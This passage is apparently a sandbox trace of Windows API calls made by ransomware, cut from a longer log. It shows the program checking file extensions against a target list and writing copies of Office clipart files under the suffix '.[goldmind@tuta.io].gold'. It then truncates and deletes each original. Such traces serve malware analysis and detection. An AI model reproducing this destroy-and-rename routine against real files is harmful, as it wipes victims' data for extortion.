Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.034] lstrlenW (lpString=".jpg") returned 4 [0048.034] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.034] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0048.034] lstrlenW (lpString="AG00176_.GIF") returned 12 [0048.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.034] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3120) returned 1 [0048.034] CloseHandle (hObject=0x170) returned 1 [0048.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0048.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.035] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.035] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.035] GetLastError () returned 0x0 [0048.035] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xc30, lpOverlapped=0x0) returned 1 [0048.040] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0048.041] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.041] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.041] SetEndOfFile (hFile=0x218) returned 1 [0048.041] CloseHandle (hObject=0x218) returned 1 [0048.041] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.041] SetEndOfFile (hFile=0x170) returned 1 [0048.042] CloseHandle (hObject=0x170) returned 1 [0048.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0048.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.042] lstrlenW (lpString=".doc") returned 4 [0048.042] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.042] lstrlenW (lpString=".docx") returned 5 [0048.042] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.042] lstrlenW (lpString=".pdf") returned 4 [0048.042] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.042] lstrlenW (lpString=".xls") returned 4 [0048.042] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.042] lstrlenW (lpString=".xlsx") returned 5 [0048.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.042] lstrlenW (lpString=".ppt") returned 4 [0048.042] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.042] lstrlenW (lpString=".zip") returned 4 [0048.042] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.042] lstrlenW (lpString=".rar") returned 4 [0048.043] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.043] lstrlenW (lpString=".bz2") returned 4 [0048.043] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.043] lstrlenW (lpString=".7z") returned 3 [0048.043] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".dbf") returned 4 [0048.043] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".1cd") returned 4 [0048.043] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".jpg") returned 4 [0048.043] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".doc") returned 4 [0048.043] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.043] lstrlenW (lpString=".docx") returned 5 [0048.043] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.043] lstrlenW (lpString=".pdf") returned 4 [0048.043] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.043] lstrlenW (lpString=".xls") returned 4 [0048.043] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.043] lstrlenW (lpString=".xlsx") returned 5 [0048.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.043] lstrlenW (lpString=".ppt") returned 4 [0048.043] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".zip") returned 4 [0048.043] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.043] lstrlenW (lpString=".rar") returned 4 [0048.043] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.043] lstrlenW (lpString=".bz2") returned 4 [0048.043] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.043] lstrlenW (lpString=".7z") returned 3 [0048.043] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".dbf") returned 4 [0048.043] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".1cd") returned 4 [0048.043] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0048.043] lstrlenW (lpString=".jpg") returned 4 [0048.043] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.043] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.043] lstrlenW (lpString="AN00010_.WMF") returned 12 [0048.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.463] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3026) returned 1 [0048.468] CloseHandle (hObject=0x1e8) returned 1 [0048.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0048.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.486] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.486] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.491] GetLastError () returned 0x0 [0048.491] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xbd2, lpOverlapped=0x0) returned 1 [0048.493] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0048.493] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.493] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.493] SetEndOfFile (hFile=0x1b0) returned 1 [0048.494] CloseHandle (hObject=0x1b0) returned 1 [0048.494] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.494] SetEndOfFile (hFile=0x178) returned 1 [0048.494] CloseHandle (hObject=0x178) returned 1 [0048.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString=".doc") returned 4 [0048.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString=".docx") returned 5 [0048.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.495] lstrlenW (lpString=".pdf") returned 4 [0048.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString=".xls") returned 4 [0048.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.495] lstrlenW (lpString=".xlsx") returned 5 [0048.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.495] lstrlenW (lpString=".ppt") returned 4 [0048.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString=".zip") returned 4 [0048.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.495] lstrlenW (lpString=".rar") returned 4 [0048.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString=".bz2") returned 4 [0048.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString=".7z") returned 3 [0048.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString=".dbf") returned 4 [0048.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString=".1cd") returned 4 [0048.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString=".jpg") returned 4 [0048.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.495] lstrlenW (lpString=".doc") returned 4 [0048.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString=".docx") returned 5 [0048.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.495] lstrlenW (lpString=".pdf") returned 4 [0048.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.495] lstrlenW (lpString=".xls") returned 4 [0048.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.496] lstrlenW (lpString=".xlsx") returned 5 [0048.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.496] lstrlenW (lpString=".ppt") returned 4 [0048.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.496] lstrlenW (lpString=".zip") returned 4 [0048.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.496] lstrlenW (lpString=".rar") returned 4 [0048.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.496] lstrlenW (lpString=".bz2") returned 4 [0048.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.496] lstrlenW (lpString=".7z") returned 3 [0048.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.496] lstrlenW (lpString=".dbf") returned 4 [0048.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.496] lstrlenW (lpString=".1cd") returned 4 [0048.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0048.496] lstrlenW (lpString=".jpg") returned 4 [0048.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.496] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.496] lstrlenW (lpString="AN01173_.WMF") returned 12 [0048.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.497] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=26332) returned 1 [0048.497] CloseHandle (hObject=0x178) returned 1 [0048.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0048.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.497] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.497] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0048.497] GetLastError () returned 0x0 [0048.497] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0048.499] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0048.500] ReadFile (in: hFile=0x178, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.500] WriteFile (in: hFile=0x1b0, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.500] SetEndOfFile (hFile=0x1b0) returned 1 [0048.500] CloseHandle (hObject=0x1b0) returned 1 [0048.500] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.500] SetEndOfFile (hFile=0x178) returned 1 [0048.501] CloseHandle (hObject=0x178) returned 1 [0048.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0048.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.501] lstrlenW (lpString=".doc") returned 4 [0048.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.501] lstrlenW (lpString=".docx") returned 5 [0048.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.501] lstrlenW (lpString=".pdf") returned 4 [0048.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.501] lstrlenW (lpString=".xls") returned 4 [0048.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.501] lstrlenW (lpString=".xlsx") returned 5 [0048.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.502] lstrlenW (lpString=".ppt") returned 4 [0048.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".zip") returned 4 [0048.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.502] lstrlenW (lpString=".rar") returned 4 [0048.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString=".bz2") returned 4 [0048.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString=".7z") returned 3 [0048.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".dbf") returned 4 [0048.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".1cd") returned 4 [0048.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".jpg") returned 4 [0048.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".doc") returned 4 [0048.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString=".docx") returned 5 [0048.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.502] lstrlenW (lpString=".pdf") returned 4 [0048.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString=".xls") returned 4 [0048.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.502] lstrlenW (lpString=".xlsx") returned 5 [0048.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.502] lstrlenW (lpString=".ppt") returned 4 [0048.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".zip") returned 4 [0048.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.502] lstrlenW (lpString=".rar") returned 4 [0048.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString=".bz2") returned 4 [0048.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString=".7z") returned 3 [0048.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".dbf") returned 4 [0048.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".1cd") returned 4 [0048.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0048.502] lstrlenW (lpString=".jpg") returned 4 [0048.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.503] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.503] lstrlenW (lpString="AN01174_.WMF") returned 12 [0048.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.503] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=27858) returned 1 [0048.503] 